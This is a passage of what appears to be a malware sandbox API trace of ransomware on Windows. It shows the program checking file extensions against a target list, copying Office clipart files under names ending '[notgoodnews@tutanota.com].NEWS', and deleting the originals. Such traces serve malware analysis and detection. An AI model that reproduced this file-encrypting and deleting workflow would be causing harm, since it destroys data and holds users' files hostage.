(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.612] lstrlenW (lpString=".doc") returned 4 [0176.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.612] lstrlenW (lpString=".docx") returned 5 [0176.612] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.612] lstrlenW (lpString=".pdf") returned 4 [0176.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.612] lstrlenW (lpString=".xls") returned 4 [0176.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.612] lstrlenW (lpString=".xlsx") returned 5 [0176.612] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.613] lstrlenW (lpString=".ppt") returned 4 [0176.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.613] lstrlenW (lpString=".zip") returned 4 [0176.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.613] lstrlenW (lpString=".rar") returned 4 [0176.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.613] lstrlenW (lpString=".bz2") returned 4 [0176.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.613] lstrlenW (lpString=".7z") returned 3 [0176.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.613] lstrlenW (lpString=".dbf") returned 4 [0176.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.613] lstrlenW (lpString=".1cd") returned 4 [0176.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.613] lstrlenW (lpString=".jpg") returned 4 [0176.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.613] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.613] lstrlenW (lpString="J0105410.WMF") returned 12 [0176.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0176.638] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=20444) returned 1 [0176.638] CloseHandle (hObject=0x36c) returned 1 [0176.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220 [0176.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0176.639] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.639] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0176.640] GetLastError () returned 0x0 [0176.640] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0176.685] WriteFile (in: hFile=0x4dc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0176.686] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.686] WriteFile (in: hFile=0x4dc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0176.686] SetEndOfFile (hFile=0x4dc) returned 1 [0176.698] CloseHandle (hObject=0x4dc) returned 1 [0176.698] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.698] SetEndOfFile (hFile=0x36c) returned 1 [0176.701] CloseHandle (hObject=0x36c) returned 1 [0176.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0176.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.703] lstrlenW (lpString=".doc") returned 4 [0176.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.703] lstrlenW (lpString=".docx") returned 5 [0176.703] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.703] lstrlenW (lpString=".pdf") returned 4 [0176.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.703] lstrlenW (lpString=".xls") returned 4 [0176.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.703] lstrlenW (lpString=".xlsx") returned 5 [0176.703] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.703] lstrlenW (lpString=".ppt") returned 4 [0176.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.703] lstrlenW (lpString=".zip") returned 4 [0176.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.703] lstrlenW (lpString=".rar") returned 4 [0176.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.703] lstrlenW (lpString=".bz2") returned 4 [0176.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.703] lstrlenW (lpString=".7z") returned 3 [0176.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.703] lstrlenW (lpString=".dbf") returned 4 [0176.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.703] lstrlenW (lpString=".1cd") returned 4 [0176.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.703] lstrlenW (lpString=".jpg") returned 4 [0176.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.703] lstrlenW (lpString=".doc") returned 4 [0176.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.703] lstrlenW (lpString=".docx") returned 5 [0176.704] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.704] lstrlenW (lpString=".pdf") returned 4 [0176.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.704] lstrlenW (lpString=".xls") returned 4 [0176.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.704] lstrlenW (lpString=".xlsx") returned 5 [0176.704] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.704] lstrlenW (lpString=".ppt") returned 4 [0176.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.704] lstrlenW (lpString=".zip") returned 4 [0176.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.704] lstrlenW (lpString=".rar") returned 4 [0176.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.704] lstrlenW (lpString=".bz2") returned 4 [0176.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.704] lstrlenW (lpString=".7z") returned 3 [0176.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.704] lstrlenW (lpString=".dbf") returned 4 [0176.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.704] lstrlenW (lpString=".1cd") returned 4 [0176.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0176.704] lstrlenW (lpString=".jpg") returned 4 [0176.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.705] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.705] lstrlenW (lpString="J0105412.WMF") returned 12 [0176.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0176.823] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=9400) returned 1 [0176.823] CloseHandle (hObject=0x53c) returned 1 [0176.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0177.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0177.341] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.341] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0177.362] GetLastError () returned 0x0 [0177.362] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x24b8, lpOverlapped=0x0) returned 1 [0177.612] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x24c0, lpOverlapped=0x0) returned 1 [0177.613] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.614] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0177.614] SetEndOfFile (hFile=0x474) returned 1 [0177.614] CloseHandle (hObject=0x474) returned 1 [0177.614] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.614] SetEndOfFile (hFile=0x544) returned 1 [0177.654] CloseHandle (hObject=0x544) returned 1 [0177.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0177.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.656] lstrlenW (lpString=".doc") returned 4 [0177.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.656] lstrlenW (lpString=".docx") returned 5 [0177.656] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0177.656] lstrlenW (lpString=".pdf") returned 4 [0177.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.656] lstrlenW (lpString=".xls") returned 4 [0177.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.656] lstrlenW (lpString=".xlsx") returned 5 [0177.656] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0177.656] lstrlenW (lpString=".ppt") returned 4 [0177.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.656] lstrlenW (lpString=".zip") returned 4 [0177.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.656] lstrlenW (lpString=".rar") returned 4 [0177.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.657] lstrlenW (lpString=".bz2") returned 4 [0177.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.657] lstrlenW (lpString=".7z") returned 3 [0177.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.657] lstrlenW (lpString=".dbf") returned 4 [0177.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.657] lstrlenW (lpString=".1cd") returned 4 [0177.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.657] lstrlenW (lpString=".jpg") returned 4 [0177.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.657] lstrlenW (lpString=".doc") returned 4 [0177.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.657] lstrlenW (lpString=".docx") returned 5 [0177.657] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0177.657] lstrlenW (lpString=".pdf") returned 4 [0177.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.657] lstrlenW (lpString=".xls") returned 4 [0177.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.657] lstrlenW (lpString=".xlsx") returned 5 [0177.657] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0177.657] lstrlenW (lpString=".ppt") returned 4 [0177.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.657] lstrlenW (lpString=".zip") returned 4 [0177.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.658] lstrlenW (lpString=".rar") returned 4 [0177.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.658] lstrlenW (lpString=".bz2") returned 4 [0177.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.658] lstrlenW (lpString=".7z") returned 3 [0177.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.658] lstrlenW (lpString=".dbf") returned 4 [0177.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.658] lstrlenW (lpString=".1cd") returned 4 [0177.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0177.658] lstrlenW (lpString=".jpg") returned 4 [0177.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.658] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0177.658] lstrlenW (lpString="J0105600.WMF") returned 12 [0177.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0177.795] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8680) returned 1 [0177.795] CloseHandle (hObject=0x55c) returned 1 [0177.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220 [0177.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0177.796] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.796] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0178.454] GetLastError () returned 0x0 [0178.454] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x21e8, lpOverlapped=0x0) returned 1 [0178.509] WriteFile (in: hFile=0x3ac, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x21f0, lpOverlapped=0x0) returned 1 [0178.510] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.510] WriteFile (in: hFile=0x3ac, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.510] SetEndOfFile (hFile=0x3ac) returned 1 [0178.511] CloseHandle (hObject=0x3ac) returned 1 [0178.511] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.511] SetEndOfFile (hFile=0x55c) returned 1 [0178.516] CloseHandle (hObject=0x55c) returned 1 [0178.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0179.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.558] lstrlenW (lpString=".doc") returned 4 [0179.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.558] lstrlenW (lpString=".docx") returned 5 [0179.558] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0179.558] lstrlenW (lpString=".pdf") returned 4 [0179.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.558] lstrlenW (lpString=".xls") returned 4 [0179.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.558] lstrlenW (lpString=".xlsx") returned 5 [0179.558] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0179.558] lstrlenW (lpString=".ppt") returned 4 [0179.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.558] lstrlenW (lpString=".zip") returned 4 [0179.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.558] lstrlenW (lpString=".rar") returned 4 [0179.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.558] lstrlenW (lpString=".bz2") returned 4 [0179.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.558] lstrlenW (lpString=".7z") returned 3 [0179.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.559] lstrlenW (lpString=".dbf") returned 4 [0179.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.559] lstrlenW (lpString=".1cd") returned 4 [0179.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.559] lstrlenW (lpString=".jpg") returned 4 [0179.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.559] lstrlenW (lpString=".doc") returned 4 [0179.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.559] lstrlenW (lpString=".docx") returned 5 [0179.559] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0179.559] lstrlenW (lpString=".pdf") returned 4 [0179.559] lstrcmpiW (lpString1=".pdf", 